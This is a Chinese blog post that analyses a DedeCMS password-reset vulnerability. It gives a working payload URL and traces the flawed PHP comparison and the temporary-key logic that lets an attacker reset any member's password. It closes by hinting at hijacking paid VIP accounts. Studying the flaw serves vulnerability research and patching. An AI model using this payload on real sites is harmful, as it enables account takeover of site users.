织梦前台任意用户密码修改

利用这个漏洞的前提是网站开启了会员注册功能,如果不知道如何开启的话,可以按照下图进行开启测试

攻击payload

http://localhost/member/resetpassword.php?i=0.0&dopost=safequestion&safequestion=0.0&safeanswer=&id=1

问题文件dedecms\member\resetpassword.php,问题出在75行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
else if($dopost == "safequestion")
{
$mid = preg_replace("#[^0-9]#", "", $id);
$sql = "SELECT safequestion,safeanswer,userid,email FROM #@__member WHERE mid = '$mid'";
$row = $db->GetOne($sql);
if(empty($safequestion)) $safequestion = '';

if(empty($safeanswer)) $safeanswer = '';

if($row['safequestion'] == $safequestion && $row['safeanswer'] == $safeanswer)
{
sn($mid, $row['userid'], $row['email'], 'N');
exit();
}
else
{
ShowMsg("对不起,您的安全问题或答案回答错误","-1");
exit();
}

}

按照payload传入的参数,sql语句查询的结果如下

1
2
3
4
5
6
mysql> SELECT safequestion,safeanswer,userid,email from dede_member WHERE mid = 1;
+--------------+------------+--------+-------+
| safequestion | safeanswer | userid | email |
+--------------+------------+--------+-------+
| 0 | | admin | |
+--------------+------------+--------+-------+

根据这个查询结果,也就意味着等下会调用sn函数,传入的参数如下:

1
sn($mid=1, $userid='admin', $mailto='', $send='N')

接下来继续跟踪sn函数。该函数位于dedecms\member\inc\inc_pwd_functions.php文件中,具体功能如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
function sn($mid,$userid,$mailto, $send = 'Y')
{
global $db;
$tptim= (60*10);
$dtime = time();
$sql = "SELECT * FROM #@__pwd_tmp WHERE mid = '$mid'";
$row = $db->GetOne($sql);
if(!is_array($row))
{
//发送新邮件;
newmail($mid,$userid,$mailto,'INSERT',$send);
}
//10分钟后可以再次发送新验证码;
elseif($dtime - $tptim > $row['mailtime'])
{
newmail($mid,$userid,$mailto,'UPDATE',$send);
}
//重新发送新的验证码确认邮件;
else
{
return ShowMsg('对不起,请10分钟后再重新申请', 'login.php');
}
}

默认状态下,临时密码的表为空,如下

1
2
mysql> select * from dede_pwd_tmp;
Empty set (0.00 sec)

当我们访问完payload时,链接会自动跳转到http://localhost/dedecms/member/resetpassword.php?dopost=getpasswd&id=1&key=34qn8KnX

这里key的值就是admin的临时密码,这时再查询数据库的临时密码表,你会发现多了一条admin的记录

1
2
3
4
5
6
7
mysql> select * from dede_pwd_tmp;
+-----+------------+----------------------------------+------------+
| mid | membername | pwd | mailtime |
+-----+------------+----------------------------------+------------+
| 1 | admin | 0aa76a6cf6c9abd06df9081f12e094e4 | 1515599643 |
+-----+------------+----------------------------------+------------+
1 row in set (0.00 sec)

这是因为一开始执行 SELECT * FROM #@__pwd_tmp WHERE mid = '$mid' 语句时,返回结果为空,进而会执行160行的newmail函数,传参如下

1
newmail($mid=1,$userid='admin',$mailto='',$type='INSERT',$send=N);

继续跟踪newmail函数(在该文件73行处)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
global $db,$cfg_adminemail,$cfg_webname,$cfg_basehost,$cfg_memberurl;
$mailtime = time();
$randval = random(8);
$mailtitle = $cfg_webname.":密码修改";
$mailto = $mailto;
$headers = "From: ".$cfg_adminemail."\r\nReply-To: $cfg_adminemail";
$mailbody = "亲爱的".$userid.":\r\n您好!感谢您使用".$cfg_webname."网。\r\n".$cfg_webname."应您的要求,重新设置密码:(注:如果您没有提出申请,请检查您的信息是否泄漏。)\r\n本次临时登陆密码为:".$randval." 请于三天内登陆下面网址确认修改。\r\n".$cfg_basehost.$cfg_memberurl."/resetpassword.php?dopost=getpasswd&id=".$mid;
if($type == 'INSERT')
{
$key = md5($randval);
$sql = "INSERT INTO `#@__pwd_tmp` (`mid` ,`membername` ,`pwd` ,`mailtime`)VALUES ('$mid', '$userid', '$key', '$mailtime');";
if($db->ExecuteNoneQuery($sql))
{
if($send == 'Y')
{
sendmail($mailto,$mailtitle,$mailbody,$headers);
return ShowMsg('EMAIL修改验证码已经发送到原来的邮箱请查收', 'login.php','','5000');
} else if ($send == 'N')
{
return ShowMsg('稍后跳转到修改页', $cfg_basehost.$cfg_memberurl."/resetpassword.php?dopost=getpasswd&id=".$mid."&key=".$randval);
}
}
else
{
return ShowMsg('对不起修改失败,请联系管理员', 'login.php');
}
}

我们发现,这个函数往数据库中插入了一条admin的临时密码的记录,并且会跳转到 /resetpassword.php?dopost=getpasswd&id=".$mid."&key=".$randval 链接

使用前面获取的值,访问下面链接即可跳转到用户密码修改页面

http://192.168.2.104/dedecms/member/resetpassword.php?dopost=getpasswd&id=1&key=FRfsUlnx

但是默认情况下,admin在会员中心是静止登录的,也就是说即使你修改成功了admin会员的密码,还是不能登录admin,但是其他的会员就可以随意登录。比如一些论坛的资源教程需要vip,你可以修改vip用户的密码,然后。。。啊,不说了,你懂的。

文章作者: Mochazz
文章链接: https://mochazz.github.io/2018/01/11/织梦前台任意用户密码修改/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Mochazz's blog